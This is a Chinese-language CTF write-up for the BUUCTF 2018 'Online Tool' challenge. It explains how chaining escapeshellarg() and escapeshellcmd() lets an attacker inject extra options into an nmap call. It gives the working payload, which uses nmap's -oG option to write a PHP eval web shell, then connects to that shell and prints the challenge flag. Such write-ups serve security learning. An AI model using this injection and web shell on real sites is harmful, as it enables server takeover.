【escapeshellarg()&&escapeshellcmd()漏洞利用】 BUUCTF2018 Online Tool WriteUp
本文最后更新于:2021年5月22日晚上6点42分
前景知识
nmap:
利用题目的nmap
命令,举个例子
1 |
|
nmap
文件写入:
利用nmap
工具的-oG
选项,写入一句话木马
PHP escapeshellarg()
以及escapeshellcmd()
escapeshellarg()
函数
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
举个栗子:
172.17.0.2' -v -d a=1
经过escapeshellarg()
函数处理后,会变成'172.17.0.2'\'' -v -d a=1'
即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
escapeshellcmd()
函数
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
反斜线(\)会在以下字符之前插入:
&#;|*?~<>^()[]{}$\
,\x0A
和\xFF
。'
和"
仅在不配对儿的时候被转义。
举个栗子:
'172.17.0.2'\'' -v -d a=1'
经过escapeshellcmd()
函数处理后,会变成'172.17.0.2'\\'' -v -d a=1\'
这是因为escapeshellcmd
对\
以及最后那个不配对儿的引号进行了转义
最后,172.17.0.2' -v -d a=1
经过escapeshellarg()
以及escapeshellcmd()
函数处理后,变成'172.17.0.2'\\'' -v -d a=1\'
,等价于172.17.0.2\ -v -d a=1'
WriteUp
打开页面,PHP代码审计
1 |
|
这段代码最关键的命令在最后echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
因此使用nmap
工具,进行文件写入,上传一句话木马
payload 如下: ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
蚁剑连接http://f98179c2-3f30-481c-9817-8085020fc07c.node3.buuoj.cn/25e4b4d5eb443d7e564912f2618de90a/hack.php
,密码为hack
flag为:
flag{82f575a0-765f-4836-9b99-0870af0b8574}
参考文章
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!